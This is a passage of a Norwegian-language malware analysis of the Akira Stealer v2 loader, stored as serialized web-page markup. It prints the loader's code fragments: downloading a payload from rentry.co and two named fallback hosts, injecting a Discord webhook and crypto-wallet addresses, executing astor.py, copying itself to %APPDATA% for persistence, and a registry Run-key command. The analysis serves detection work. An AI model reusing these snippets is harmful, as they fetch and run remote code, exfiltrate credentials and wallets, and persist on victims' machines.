skjer.",[604,3302,3303,3336],{},[607,3304,3305,3308,3309,3312,3313],{},[540,3306,3307],{},"Temporary Directory Resolution:","\nMalwaren kaller ",[551,3310,3311],{},"os.tmpdir()"," for å finne stien til systemets midlertidige katalog. Det er en vanlig taktikk for malware, siden midlertidige mapper som regel er skrivbare og granskes mindre nøye av endpoint protection-systemer.",[588,3314,3316],{"className":2985,"code":3315,"language":2987,"meta":594,"style":594},"const tempDir = os.tmpdir();\n",[551,3317,3318],{"__ignoreMap":594},[1683,3319,3320,3322,3325,3327,3330,3333],{"class":1685,"line":1686},[1683,3321,2995],{"class":2994},[1683,3323,3324],{"class":2777}," tempDir",[1683,3326,3001],{"class":2994},[1683,3328,3329],{"class":3004}," os.",[1683,3331,3332],{"class":2769},"tmpdir",[1683,3334,3335],{"class":3004},"();\n",[607,3337,3338,3341,3342,3355],{},[540,3339,3340],{},"Path Construction:","\nSkriptet setter deretter sammen absolutte stier til to viktige filer:",[604,3343,3344,3349],{},[607,3345,3346,3348],{},[551,3347,2872],{},": Arkivet som inneholder selve second stage-stealeren i Python",[607,3350,3351,3354],{},[551,3352,3353],{},"bnd.exe",": En valgfri kjørbar fil som kan fungere som persistence-backdoor eller ekstra payload",[588,3356,3358],{"className":2985,"code":3357,"language":2987,"meta":594,"style":594},"const tempFile = path.join(tempDir, \"pyth.zip\");\nconst binderFile = path.join(tempDir, \"bnd.exe\");\n",[551,3359,3360,3383],{"__ignoreMap":594},[1683,3361,3362,3364,3367,3369,3372,3375,3378,3381],{"class":1685,"line":1686},[1683,3363,2995],{"class":2994},[1683,3365,3366],{"class":2777}," tempFile",[1683,3368,3001],{"class":2994},[1683,3370,3371],{"class":3004}," path.",[1683,3373,3374],{"class":2769},"join",[1683,3376,3377],{"class":3004},"(tempDir, ",[1683,3379,3380],{"class":2773},"\"pyth.zip\"",[1683,3382,3061],{"class":3004},[1683,3384,3385,3387,3390,3392,3394,3396,3398,3401],{"class":1685,"line":2062},[1683,3386,2995],{"class":2994},[1683,3388,3389],{"class":2777}," binderFile",[1683,3391,3001],{"class":2994},[1683,3393,3371],{"class":3004},[1683,3395,3374],{"class":2769},[1683,3397,3377],{"class":3004},[1683,3399,3400],{"class":2773},"\"bnd.exe\"",[1683,3402,3061],{"class":3004},[533,3404,3405],{},"Dette stioppsettet abstraherer bort OS-spesifikk stisyntaks og gjør at malwaren kan kjøre problemfritt på alle Windows-systemer. Det legger også grunnlaget for mekanismene for nedlasting og utpakking av filer som følger.",[862,3407,3409],{"id":3408},"_622-nedlasting-av-payload-med-fallback-strategi","6.2.2 Nedlasting av payload med fallback-strategi",[533,3411,868],{},[533,3413,3414],{},"Den andre store fasen i den dekrypterte JavaScript-payloaden handler om å laste ned et skadelig ZIP-arkiv fra eksterne kilder. Mekanismen er utformet med en fallback-strategi i flere nivåer som øker robustheten og tilgjengeligheten.",[604,3416,3417,3449,3534,3568],{},[607,3418,3419,3422,3423,3443,3445,3446,3448],{},[540,3420,3421],{},"Primary Link Resolution via Rentry.co","\nSkriptet starter med å slå opp en dynamisk URL fra en tjeneste for tekstlim. Det sender en GET-forespørsel til:",[588,3424,3426],{"className":2985,"code":3425,"language":2987,"meta":594,"style":594},"const url = \"https://rentry.co/7vzd22fg36hfdd33/raw\";\n",[551,3427,3428],{"__ignoreMap":594},[1683,3429,3430,3432,3435,3437,3440],{"class":1685,"line":1686},[1683,3431,2995],{"class":2994},[1683,3433,3434],{"class":2777}," url",[1683,3436,3001],{"class":2994},[1683,3438,3439],{"class":2773}," \"https://rentry.co/7vzd22fg36hfdd33/raw\"",[1683,3441,3442],{"class":3004},";\n",[698,3444],{},"Dette returnerer en URL-streng i klartekst som peker på den faktiske plasseringen av ",[551,3447,2872],{},"-arkivet. Å bruke en slik omdirigeringsmekanisme er en vanlig obfuskeringsteknikk. Den abstraherer bort den virkelige skadelige URL-en og gjør statisk deteksjon vanskeligere.",[607,3450,3451,3454,3455,3487,3489,3490,3492,3493,3527,3529,3530,3533],{},[540,3452,3453],{},"Download Execution","\nDen oppslåtte URL-en forespørres deretter med Axios-biblioteket og en response stream:",[588,3456,3458],{"className":2985,"code":3457,"language":2987,"meta":594,"style":594},"const fileResponse = await axios.get(fileUrl, { responseType: \"stream\" });\n",[551,3459,3460],{"__ignoreMap":594},[1683,3461,3462,3464,3467,3469,3472,3475,3478,3481,3484],{"class":1685,"line":1686},[1683,3463,2995],{"class":2994},[1683,3465,3466],{"class":2777}," fileResponse",[1683,3468,3001],{"class":2994},[1683,3470,3471],{"class":2994}," await",[1683,3473,3474],{"class":3004}," axios.",[1683,3476,3477],{"class":2769},"get",[1683,3479,3480],{"class":3004},"(fileUrl, { responseType: ",[1683,3482,3483],{"class":2773},"\"stream\"",[1683,3485,3486],{"class":3004}," });\n",[698,3488],{},"Filen skrives til disk som ",[551,3491,2872],{}," i systemets temp-katalog:",[588,3494,3496],{"className":2985,"code":3495,"language":2987,"meta":594,"style":594},"const writer = fs.createWriteStream(tempFile);\nfileResponse.data.pipe(writer);\n",[551,3497,3498,3516],{"__ignoreMap":594},[1683,3499,3500,3502,3505,3507,3510,3513],{"class":1685,"line":1686},[1683,3501,2995],{"class":2994},[1683,3503,3504],{"class":2777}," writer",[1683,3506,3001],{"class":2994},[1683,3508,3509],{"class":3004}," fs.",[1683,3511,3512],{"class":2769},"createWriteStream",[1683,3514,3515],{"class":3004},"(tempFile);\n",[1683,3517,3518,3521,3524],{"class":1685,"line":2062},[1683,3519,3520],{"class":3004},"fileResponse.data.",[1683,3522,3523],{"class":2769},"pipe",[1683,3525,3526],{"class":3004},"(writer);\n",[698,3528],{},"Nedlastingen pakkes inn i et ",[551,3531,3532],{},"Promise"," for å sikre at den er ferdig før videre logikk kjøres.",[607,3535,3536,3539,3540,3565,3567],{},[540,3537,3538],{},"Fallback URLs","\nFeiler Rentry-lenken, prøver skriptet hardkodede reserveplasseringer:",[588,3541,3543],{"className":2985,"code":3542,"language":2987,"meta":594,"style":594},"https://cosmicdust.zip/.well-known/pki-validation/pyth.zip\nhttps://cosmoplanets.net/well-known/pki-validation/pyth.zip\n",[551,3544,3545,3556],{"__ignoreMap":594},[1683,3546,3547,3550,3552],{"class":1685,"line":1686},[1683,3548,3549],{"class":2769},"https",[1683,3551,1173],{"class":3004},[1683,3553,3555],{"class":3554},"sJ8bj","//cosmicdust.zip/.well-known/pki-validation/pyth.zip\n",[1683,3557,3558,3560,3562],{"class":1685,"line":2062},[1683,3559,3549],{"class":2769},[1683,3561,1173],{"class":3004},[1683,3563,3564],{"class":3554},"//cosmoplanets.net/well-known/pki-validation/pyth.zip\n",[698,3566],{},"Disse domenene er bygget opp for å se ut som deler av vanlige TLS-valideringsmapper, muligens for å etterligne Let's Encrypt eller stier for domenevalidering og dermed vekke mindre mistanke. Hvert fallback forsøkes med samme streaming- og filskrivingslogikk.",[607,3569,3570,3573,3574,3577],{},[540,3571,3572],{},"Robustness and Obfuscation","\nDenne fallback-mekanismen gir malwaren flere veier til å hente payloaden for andre trinn. Bruken av en dynamisk peker (",[551,3575,3576],{},"rentry.co",") og flere failover-speil gjør malwaren mer motstandsdyktig mot takedowns, blokkering og DNS-sinkholes.",[533,3579,3580],{},"Denne fasen viser at malware-utviklerne har planlagt driften nøye, med lagdelt redundans og godt kamuflert leveranseinfrastruktur.",[604,3582,3583,3589],{},[607,3584,3585,3586,3588],{},"Laster ned ",[551,3587,2872],{}," fra den oppslåtte URL-en",[607,3590,3591,3592],{},"Feiler det, forsøker den reservespeil:\n",[604,3593,3594,3599],{},[607,3595,3596],{},[551,3597,3598],{},"https://cosmicdust.zip/.well-known/pki-validation/pyth.zip",[607,3600,3601],{},[551,3602,3603],{},"https://cosmoplanets.net/well-known/pki-validation/pyth.zip",[862,3605,3607],{"id":3606},"_623-utpakking-og-manipulering-av-payloaden","6.2.3 Utpakking og manipulering av payloaden",[533,3609,868],{},[533,3611,3612,3613,3615,3616,3618],{},"Når ",[551,3614,2872],{},"-arkivet er lastet ned og lagret på disk, går malwaren videre med å pakke ut innholdet og klargjøre det for kjøring. Det skjer med Node.js-biblioteket ",[551,3617,2844],{},", som gir programmatisk håndtering av ZIP-filer.",[604,3620,3621,3669,3696],{},[607,3622,3623,3626,3663,3665,3666,3668],{},[540,3624,3625],{},"ZIP Extraction:",[588,3627,3629],{"className":2985,"code":3628,"language":2987,"meta":594,"style":594},"const zip = new AdmZip(tempFile);\nzip.extractAllTo(tempDir, true);\n",[551,3630,3631,3648],{"__ignoreMap":594},[1683,3632,3633,3635,3638,3640,3643,3646],{"class":1685,"line":1686},[1683,3634,2995],{"class":2994},[1683,3636,3637],{"class":2777}," zip",[1683,3639,3001],{"class":2994},[1683,3641,3642],{"class":2994}," new",[1683,3644,3645],{"class":2769}," AdmZip",[1683,3647,3515],{"class":3004},[1683,3649,3650,3653,3656,3658,3661],{"class":1685,"line":2062},[1683,3651,3652],{"class":3004},"zip.",[1683,3654,3655],{"class":2769},"extractAllTo",[1683,3657,3377],{"class":3004},[1683,3659,3660],{"class":2777},"true",[1683,3662,3061],{"class":3004},[698,3664],{},"Dette pakker ut alt innholdet i arkivet til systemets midlertidige katalog. Flagget ",[551,3667,3660],{}," sørger for at eksisterende filer overskrives.",[607,3670,3671,3674,3675,3677,3678],{},[540,3672,3673],{},"Archive Contents:","\nArkivet ",[551,3676,2872],{}," inneholder et fullt pakket Python-prosjekt, blant annet:",[604,3679,3680,3683,3686],{},[607,3681,3682],{},"En katalogstruktur som ligner en legitim Python-pakke",[607,3684,3685],{},"Flere Python-moduler og avhengigheter",[607,3687,3688,3689,3691,3692,3695],{},"Nøkkelfilen ",[551,3690,582],{}," som ligger i ",[551,3693,3694],{},"Crypto/Util/astor.py",", og som er hovedpayloaden til stealeren",[607,3697,3698,3701,3702,3704,3705,3725],{},[540,3699,3700],{},"Placeholder Replacement:","\nMalwaren gjør dynamisk substitusjon av forhåndsdefinerte plassholdere i ",[551,3703,582],{}," for å injisere konfigurasjonsdata angriperen kontrollerer, som:",[604,3706,3707,3710,3713,3719],{},[607,3708,3709],{},"En Discord webhook-URL",[607,3711,3712],{},"Kryptovaluta-lommebokadresser (BTC, ETH, DOGE, LTC, XMR med flere)",[607,3714,3715,3716,1113],{},"En brukeridentifikator (",[551,3717,3718],{},"%USERID%",[607,3720,3721,3722,1113],{},"Et feilstatusflagg (",[551,3723,3724],{},"%ERRORSTATUS%",[588,3726,3728],{"className":2985,"code":3727,"language":2987,"meta":594,"style":594},"fs.readFile(extractedDir + \"\\Crypto\\Util\\astor.py\", 'utf8', (err, data) => {\n  let updatedFile = data\n    .replace(\"%DISCORD%\", \u003Cwebhook>)\n    .replace(\"%ADDRESSBTC%\", \u003Cbtc_address>)\n    ...\n    .replace(\"%ERRORSTATUS%\", displayError ? \"true\" : \"false\");\n\n  fs.writeFile(extractedDir + \"\\Crypto\\Util\\astor.py\", updatedFile, 'utf8');\n});\n",[551,3729,3730,3791,3804,3827,3837,3842,3847,3852,3858],{"__ignoreMap":594},[1683,3731,3732,3735,3738,3741,3744,3747,3750,3753,3756,3759,3762,3765,3767,3770,3773,3777,3779,3782,3785,3788],{"class":1685,"line":1686},[1683,3733,3734],{"class":3004},"fs.",[1683,3736,3737],{"class":2769},"readFile",[1683,3739,3740],{"class":3004},"(extractedDir ",[1683,3742,3743],{"class":2994},"+",[1683,3745,3746],{"class":2773}," \"",[1683,3748,3749],{"class":2777},"\\C",[1683,3751,3752],{"class":2773},"rypto",[1683,3754,3755],{"class":2777},"\\U",[1683,3757,3758],{"class":2773},"til",[1683,3760,3761],{"class":2777},"\\a",[1683,3763,3764],{"class":2773},"stor.py\"",[1683,3766,620],{"class":3004},[1683,3768,3769],{"class":2773},"'utf8'",[1683,3771,3772],{"class":3004},", (",[1683,3774,3776],{"class":3775},"s4XuR","err",[1683,3778,620],{"class":3004},[1683,3780,3781],{"class":3775},"data",[1683,3783,3784],{"class":3004},") ",[1683,3786,3787],{"class":2994},"=>",[1683,3789,3790],{"class":3004}," {\n",[1683,3792,3793,3796,3799,3801],{"class":1685,"line":2062},[1683,3794,3795],{"class":2994},"  let",[1683,3797,3798],{"class":3004}," updatedFile ",[1683,3800,3162],{"class":2994},[1683,3802,3803],{"class":3004}," data\n",[1683,3805,3806,3809,3812,3814,3817,3820,3824],{"class":1685,"line":2068},[1683,3807,3808],{"class":3004},"    .",[1683,3810,3811],{"class":2769},"replace",[1683,3813,3196],{"class":3004},[1683,3815,3816],{"class":2773},"\"%DISCORD%\"",[1683,3818,3819],{"class":3004},", \u003C",[1683,3821,3823],{"class":3822},"s9eBZ","webhook",[1683,3825,3826],{"class":3004},">)\n",[1683,3828,3829,3832,3835],{"class":1685,"line":2074},[1683,3830,3831],{"class":3004},"    .replace(\"%ADDRESSBTC%\", \u003C",[1683,3833,3834],{"class":2777},"btc_address",[1683,3836,3826],{"class":3004},[1683,3838,3839],{"class":1685,"line":2394},[1683,3840,3841],{"class":3004},"    ...\n",[1683,3843,3844],{"class":1685,"line":2400},[1683,3845,3846],{"class":3004},"    .replace(\"%ERRORSTATUS%\", displayError ? \"true\" : \"false\");\n",[1683,3848,3849],{"class":1685,"line":3058},[1683,3850,3851],{"emptyLinePlaceholder":325},"\n",[1683,3853,3855],{"class":1685,"line":3854},8,[1683,3856,3857],{"class":3004},"  fs.writeFile(extractedDir + \"\\Crypto\\Util\\astor.py\", updatedFile, 'utf8');\n",[1683,3859,3861],{"class":1685,"line":3860},9,[1683,3862,3863],{"class":3004},"});\n",[533,3865,3866],{},"Denne dynamiske manipuleringsfasen er avgjørende. Ved å utsette innsettingen av angriperkontrollerte verdier til kjøretidspunktet unngår payloaden statisk deteksjon, og operatøren kan tilpasse mål og eksfiltreringsendepunkter uten å pakke arkivet om.",[604,3868,3869],{},[607,3870,3871,3872,3874,3875],{},"Erstatter plassholderstrenger i ",[551,3873,582],{},":\n",[604,3876,3877,3883,3893],{},[607,3878,3879,3880],{},"Discord webhook: ",[551,3881,3882],{},"%DISCORD%",[607,3884,3885,3886,620,3889,3892],{},"Lommebokadresser: ",[551,3887,3888],{},"%ADDRESSBTC%",[551,3890,3891],{},"%ADDRESSETH%"," osv.",[607,3894,3895],{},"Bruker-ID og feilflagg",[862,3897,3899],{"id":3898},"_624-kjøring-av-malwaren","6.2.4 Kjøring av malwaren",[533,3901,868],{},[604,3903,3904],{},[607,3905,3906,3907],{},"Når plassholderinjeksjonen i astor.py er ferdig, starter malwaren kjøringen av stealeren via et systemkall",[588,3908,3910],{"className":2985,"code":3909,"language":2987,"meta":594,"style":594},"exec(\"python.exe Crypto\\\\Util\\\\astor.py\");\n",[551,3911,3912],{"__ignoreMap":594},[1683,3913,3914,3917,3919,3922,3925,3928,3930,3933],{"class":1685,"line":1686},[1683,3915,3916],{"class":2769},"exec",[1683,3918,3196],{"class":3004},[1683,3920,3921],{"class":2773},"\"python.exe Crypto",[1683,3923,3924],{"class":2777},"\\\\",[1683,3926,3927],{"class":2773},"Util",[1683,3929,3924],{"class":2777},[1683,3931,3932],{"class":2773},"astor.py\"",[1683,3934,3061],{"class":3004},[533,3936,3937],{},"Kommandoen kjøres med child_process.exec-funksjonen i Node.js og starter den innebygde Python-payloaden i en egen prosess. Nettopp dette kjøringsmønsteret, python.exe med argumentet Crypto\\Util\\astor.py, ble observert i telemetridata samlet inn av Microsoft Defender for Endpoint, og det gjør det til en pålitelig deteksjonsartefakt. I praksis ser kjøringskjeden slik ut:",[533,3939,3940],{},"Hele kjøringskjeden til malwaren, slik den ble observert i telemetri fra Microsoft Defender for Endpoint, følger denne sekvensen:",[604,3942,3943,3951,3958,3964],{},[607,3944,3945,3947,3948],{},[551,3946,578],{}," (Electron-basert container) kaller ",[551,3949,3950],{},"node.exe",[607,3952,3953,3955,3956],{},[551,3954,3950],{}," starter ",[551,3957,1102],{},[607,3959,3960,3955,3962],{},[551,3961,1102],{},[551,3963,553],{},[607,3965,3966,3968,3969],{},[551,3967,553],{}," kjører filen ",[551,3970,1112],{},[862,3972,3974],{"id":3973},"_625-forsterkning-av-persistence","6.2.5 Forsterkning av persistence",[533,3976,868],{},[533,3978,3979,3980,3982],{},"For å sikre langvarig tilstedeværelse på det infiserte systemet inneholder den dekrypterte JavaScript-payloaden logikk for å gjenopprette persistence ved å kopiere den opprinnelige binaryen (",[551,3981,574],{},") til en skjult plassering i brukerprofilen.",[533,3984,3985],{},[540,3986,3987],{},"Target Directory",[533,3989,3990],{},"Filen kopieres til en katalog som etterligner legitime Windows-komponenter:",[588,3992,3994],{"className":2985,"code":3993,"language":2987,"meta":594,"style":594},"%APPDATA%\\Microsoft\\Internet Explorer\\UserData\\Updater.exe\n",[551,3995,3996],{"__ignoreMap":594},[1683,3997,3998,4001,4004,4006],{"class":1685,"line":1686},[1683,3999,4000],{"class":2994},"%",[1683,4002,4003],{"class":2777},"APPDATA",[1683,4005,4000],{"class":2994},[1683,4007,4008],{"class":3004},"\\Microsoft\\Internet Explorer\\UserData\\Updater.exe\n",[533,4010,4011],{},"Plasseringen er valgt med omhu:",[604,4013,4014,4017],{},[607,4015,4016],{},"%APPDATA% er skrivbar for vanlige brukere og krever ingen administratorrettigheter.",[607,4018,4019],{},"Katalognavnet etterligner legitime Microsoft-applikasjonsmapper, noe som gjør det mindre mistenkelig.",[533,4021,4022],{},[540,4023,4024],{},"Copy Mechanism:",[533,4026,4027],{},"Kopieringen bruker fs.copyFileSync()-funksjonen i Node.js:",[588,4029,4031],{"className":2985,"code":4030,"language":2987,"meta":594,"style":594},"fs.copyFileSync(\n  process.env.PORTABLE_EXECUTABLE_FILE,\n  path.join(\n    process.env.APPDATA,\n    \"Microsoft\",\n    \"Internet Explorer\",\n    \"UserData\",\n    \"Updater.exe\",\n  ),\n);\n",[551,4032,4033,4042,4052,4061,4070,4077,4084,4091,4098,4103],{"__ignoreMap":594},[1683,4034,4035,4037,4040],{"class":1685,"line":1686},[1683,4036,3734],{"class":3004},[1683,4038,4039],{"class":2769},"copyFileSync",[1683,4041,3011],{"class":3004},[1683,4043,4044,4047,4050],{"class":1685,"line":2062},[1683,4045,4046],{"class":3004},"  process.env.",[1683,4048,4049],{"class":2777},"PORTABLE_EXECUTABLE_FILE",[1683,4051,3041],{"class":3004},[1683,4053,4054,4057,4059],{"class":1685,"line":2068},[1683,4055,4056],{"class":3004},"  path.",[1683,4058,3374],{"class":2769},[1683,4060,3011],{"class":3004},[1683,4062,4063,4066,4068],{"class":1685,"line":2074},[1683,4064,4065],{"class":3004},"    process.env.",[1683,4067,4003],{"class":2777},[1683,4069,3041],{"class":3004},[1683,4071,4072,4075],{"class":1685,"line":2394},[1683,4073,4074],{"class":2773},"    \"Microsoft\"",[1683,4076,3041],{"class":3004},[1683,4078,4079,4082],{"class":1685,"line":2400},[1683,4080,4081],{"class":2773},"    \"Internet Explorer\"",[1683,4083,3041],{"class":3004},[1683,4085,4086,4089],{"class":1685,"line":3058},[1683,4087,4088],{"class":2773},"    \"UserData\"",[1683,4090,3041],{"class":3004},[1683,4092,4093,4096],{"class":1685,"line":3854},[1683,4094,4095],{"class":2773},"    \"Updater.exe\"",[1683,4097,3041],{"class":3004},[1683,4099,4100],{"class":1685,"line":3860},[1683,4101,4102],{"class":3004},"  ),\n",[1683,4104,4106],{"class":1685,"line":4105},10,[1683,4107,3061],{"class":3004},[604,4109,4110,4113],{},[607,4111,4112],{},"PORTABLE_EXECUTABLE_FILE er en miljøvariabel mange packere (for eksempel Electron) setter automatisk for å referere til stien til binaryen som kjører.",[607,4114,4115],{},"path.join(...) bygger en fullt kvalifisert målsti på tvers av ulike operativsystemer.",[533,4117,4118],{},"Logikken kjører bare hvis filen ikke allerede finnes, og fungerer dermed som en selvreparasjonsmekanisme som gjenoppretter dropperen hvis den slettes.",[533,4120,4121,4124],{},[540,4122,4123],{},"Role in the Malware Chain","\nAt denne kopierte Updater.exe er til stede, sikrer at:",[604,4126,4127,4130],{},[607,4128,4129],{},"Loaderen kan utløse seg selv på nytt ved omstart av systemet.",[607,4131,4132],{},"Hele infeksjonskjeden (som fører til main.exe, node.exe og til slutt astor.py) kan starte på nytt uten å være avhengig av tradisjonelle registerbaserte persistence-mekanismer, som oftere blir overvåket.",[862,4134,4136],{"id":4135},"_626-valgfri-kjøring-av-binder","6.2.6 Valgfri kjøring av binder",[533,4138,868],{},[533,4140,4141,4142,4144],{},"I tillegg til å laste ned og kjøre hovedpayloaden til stealeren (",[551,4143,582],{},") inneholder den dekrypterte JavaScript-koden også logikk for valgfritt å laste ned og starte en sekundær kjørbar fil som kalles \"binder\". Komponenten kan brukes til persistence, distraksjon eller utrulling av flere malware-moduler.",[533,4146,4147],{},[540,4148,4149],{},"Conditional Execution",[533,4151,4152],{},"Binder-logikken aktiveres bare hvis et bestemt flagg er satt:",[588,4154,4156],{"className":2985,"code":4155,"language":2987,"meta":594,"style":594},"enableBinder = true;\n",[551,4157,4158],{"__ignoreMap":594},[1683,4159,4160,4163,4165,4168],{"class":1685,"line":1686},[1683,4161,4162],{"class":3004},"enableBinder ",[1683,4164,3162],{"class":2994},[1683,4166,4167],{"class":2777}," true",[1683,4169,3442],{"class":3004},[533,4171,4172,4173,4176],{},"I samplet vi analyserte, var verdien satt til ",[551,4174,4175],{},"false"," som standard, men logikken ligger fortsatt innebygd i payloaden og kan trivielt aktiveres i en annen kampanje eller variant.",[533,4178,4179],{},[540,4180,4181],{},"Binder Download Logic",[533,4183,4184,4185,1173],{},"Blir den aktivert, forsøker skriptet å hente en ekstern binary fra en URL definert av plassholderen ",[551,4186,4187],{},"%BINDERURL%",[588,4189,4191],{"className":2985,"code":4190,"language":2987,"meta":594,"style":594},"const fileUrl = \"%BINDERURL%\";\nconst fileResponse = await axios.get(fileUrl, { responseType: \"stream\" });\nconst writer = fs.createWriteStream(binderFile);\nfileResponse.data.pipe(writer);\n",[551,4192,4193,4207,4227,4242],{"__ignoreMap":594},[1683,4194,4195,4197,4200,4202,4205],{"class":1685,"line":1686},[1683,4196,2995],{"class":2994},[1683,4198,4199],{"class":2777}," fileUrl",[1683,4201,3001],{"class":2994},[1683,4203,4204],{"class":2773}," \"%BINDERURL%\"",[1683,4206,3442],{"class":3004},[1683,4208,4209,4211,4213,4215,4217,4219,4221,4223,4225],{"class":1685,"line":2062},[1683,4210,2995],{"class":2994},[1683,4212,3466],{"class":2777},[1683,4214,3001],{"class":2994},[1683,4216,3471],{"class":2994},[1683,4218,3474],{"class":3004},[1683,4220,3477],{"class":2769},[1683,4222,3480],{"class":3004},[1683,4224,3483],{"class":2773},[1683,4226,3486],{"class":3004},[1683,4228,4229,4231,4233,4235,4237,4239],{"class":1685,"line":2068},[1683,4230,2995],{"class":2994},[1683,4232,3504],{"class":2777},[1683,4234,3001],{"class":2994},[1683,4236,3509],{"class":3004},[1683,4238,3512],{"class":2769},[1683,4240,4241],{"class":3004},"(binderFile);\n",[1683,4243,4244,4246,4248],{"class":1685,"line":2074},[1683,4245,3520],{"class":3004},[1683,4247,3523],{"class":2769},[1683,4249,3526],{"class":3004},[604,4251,4252,4258],{},[607,4253,4254,4255,4257],{},"Filen ",[551,4256,3353],{}," lagres i systemets midlertidige katalog.",[607,4259,4260,4261,4263],{},"Akkurat som ",[551,4262,2872],{}," lastes binaryen ned med Axios som strøm, for å unngå å laste hele binaryen inn i minnet.",[533,4265,4266],{},[540,4267,4268],{},"Execution Strategy",[533,4270,4271,4272,4274],{},"Etter en vellykket nedlasting kaller skriptet den nedlastede binaryen via ",[551,4273,1102],{},", slik at den kjører i en ny shell-kontekst:",[588,4276,4278],{"className":2985,"code":4277,"language":2987,"meta":594,"style":594},"exec(`start cmd /c start ${binderFile}`, ...);\n",[551,4279,4280],{"__ignoreMap":594},[1683,4281,4282,4284,4286,4289,4292,4295,4297,4300],{"class":1685,"line":1686},[1683,4283,3916],{"class":2769},[1683,4285,3196],{"class":3004},[1683,4287,4288],{"class":2773},"`start cmd /c start ${",[1683,4290,4291],{"class":3004},"binderFile",[1683,4293,4294],{"class":2773},"}`",[1683,4296,620],{"class":3004},[1683,4298,4299],{"class":2994},"...",[1683,4301,3061],{"class":3004},[533,4303,4304],{},"For å øke påliteligheten har skriptet retry-logikk:",[588,4306,4308],{"className":2985,"code":4307,"language":2987,"meta":594,"style":594},"setTimeout(() => {\n  exec(...);\n}, 5000);\n",[551,4309,4310,4322,4333],{"__ignoreMap":594},[1683,4311,4312,4315,4318,4320],{"class":1685,"line":1686},[1683,4313,4314],{"class":2769},"setTimeout",[1683,4316,4317],{"class":3004},"(() ",[1683,4319,3787],{"class":2994},[1683,4321,3790],{"class":3004},[1683,4323,4324,4327,4329,4331],{"class":1685,"line":2062},[1683,4325,4326],{"class":2769},"  exec",[1683,4328,3196],{"class":3004},[1683,4330,4299],{"class":2994},[1683,4332,3061],{"class":3004},[1683,4334,4335,4338,4341],{"class":1685,"line":2068},[1683,4336,4337],{"class":3004},"}, ",[1683,4339,4340],{"class":2777},"5000",[1683,4342,3061],{"class":3004},[533,4344,4345],{},"Dermed forsøker malwaren å starte binaryen på nytt etter en kort pause, selv om den første kjøringen feiler, for eksempel på grunn av systembelastning eller race conditions.",[533,4347,4348],{},[540,4349,4350],{},"Use Cases for the Binder",[533,4352,4353],{},"Selv om det eksakte formålet med binder-binaryen ikke kommer fram i dette samplet (på grunn av plassholder-URL-en), brukes slike komponenter vanligvis til å:",[604,4355,4356,4359,4362,4365],{},[607,4357,4358],{},"Installere eller starte hovedkomponentene i malwaren på nytt",[607,4360,4361],{},"Vise falske installasjonsprogrammer eller lokkemiddelapplikasjoner",[607,4363,4364],{},"Rulle ut mer spyware, backdoors eller ransomware",[607,4366,4367],{},"Endre systeminnstillinger eller slå av sikkerhetsfunksjoner",[714,4369,4371],{"id":4370},"_63-oppsummering","6.3 Oppsummering",[533,4373,720],{},[533,4375,4376,4378],{},[551,4377,2811],{}," er en sterkt obfuskert, kryptert JavaScript-loader som bruker bransjestandard kryptografi (PBKDF2 + AES-256-CBC) for å skjule sitt egentlige formål. Etter dekryptering fungerer den som en fullverdig second stage-loader som:",[604,4380,4381,4386,4389,4394],{},[607,4382,4383,4384,1113],{},"Henter mer malware (",[551,4385,2872],{},[607,4387,4388],{},"Endrer atferden til payloaden dynamisk",[607,4390,4391,4392,1113],{},"Starter selve stealer-skriptet (",[551,4393,582],{},[607,4395,4396,4397],{},"Forsterker persistence ved å gjenopprette ",[551,4398,574],{},[533,4400,4401,4402,4405],{},"Kombinasjonen av kryptering, dynamisk kjøring, modulær henting av payload og filløs drift viser en ",[540,4403,4404],{},"svært avansert JavaScript-basert malware-arkitektur"," som utnytter Node.js-funksjoner i et Electron-skall.",[528,4407,4409,4410,1113],{"id":4408},"_7-deepdive-akira-stealer-v2-astorpy","7. DeepDive: Akira Stealer v2 (",[551,4411,582],{},[533,4413,535],{},[714,4415,4417],{"id":4416},"_71-overordnet-funksjonalitet","7.1. Overordnet funksjonalitet",[533,4419,720],{},[533,4421,4422,4423,4425],{},"Akira Stealer v2 (",[551,4424,582],{},") er en multifunksjonell, modulær infostealer skrevet i Python. Den er bygget for å eksfiltrere et bredt spekter av sensitive brukerdata fra både Chromium- og Firefox-baserte nettlesere, crypto wallets, kommunikasjonsklienter (for eksempel Discord, Telegram) og systemfiler. Den har avanserte anti-analysemekanismer, registerbasert persistence, clipboard hijacking og teknikker for memory injection.",[714,4427,4429],{"id":4428},"_72-persistence-og-utrulling","7.2 Persistence og utrulling",[533,4431,720],{},[862,4433,4435],{"id":4434},"_721-kontekst-for-kjøringskjeden","7.2.1 Kontekst for kjøringskjeden",[533,4437,868],{},[533,4439,4440,4442],{},[551,4441,582],{}," kjører ikke frittstående, men er den siste payloaden i en flertrinns angrepskjede:",[588,4444,4448],{"className":4445,"code":4446,"language":4447,"meta":594,"style":594},"language-plaintext shiki shiki-themes github-light github-dark","Updater.exe\n  └── main.exe (Electron app)\n        └── cmd.exe\n              └── python.exe astor.py\n","plaintext",[551,4449,4450,4455,4460,4465],{"__ignoreMap":594},[1683,4451,4452],{"class":1685,"line":1686},[1683,4453,4454],{},"Updater.exe\n",[1683,4456,4457],{"class":1685,"line":2062},[1683,4458,4459],{},"  └── main.exe (Electron app)\n",[1683,4461,4462],{"class":1685,"line":2068},[1683,4463,4464],{},"        └── cmd.exe\n",[1683,4466,4467],{"class":1685,"line":2074},[1683,4468,4469],{},"              └── python.exe astor.py\n",[533,4471,4472,4473,4475],{},"Denne strukturerte kjøringskjeden gjør at hvert trinn kan unngå deteksjon ved å delegere den skadelige funksjonaliteten videre til neste. ",[551,4474,574],{}," innleder sekvensen og har ansvaret for å opprettholde persistence.",[862,4477,4479],{"id":4478},"_722-registerbasert-persistence","7.2.2 Registerbasert persistence",[533,4481,868],{},[533,4483,4484,4485,4487],{},"Akira etablerer persistence ved å skrive en registernøkkel under Run-stien til den innloggede brukeren. Det sikrer at ",[551,4486,574],{}," kjøres ved hver systemstart:",[588,4489,4493],{"className":4490,"code":4491,"language":4492,"meta":594,"style":594},"language-python shiki shiki-themes github-light github-dark","command = f'reg add HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run /v \"Realtek Audio\" /t REG_SZ /d \"{path}\\\\Updater.exe\" /f'\nos.system(command)\n","python",[551,4494,4495,4500],{"__ignoreMap":594},[1683,4496,4497],{"class":1685,"line":1686},[1683,4498,4499],{},"command = f'reg add HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run /v \"Realtek Audio\" /t REG_SZ /d \"{path}\\\\Updater.exe\" 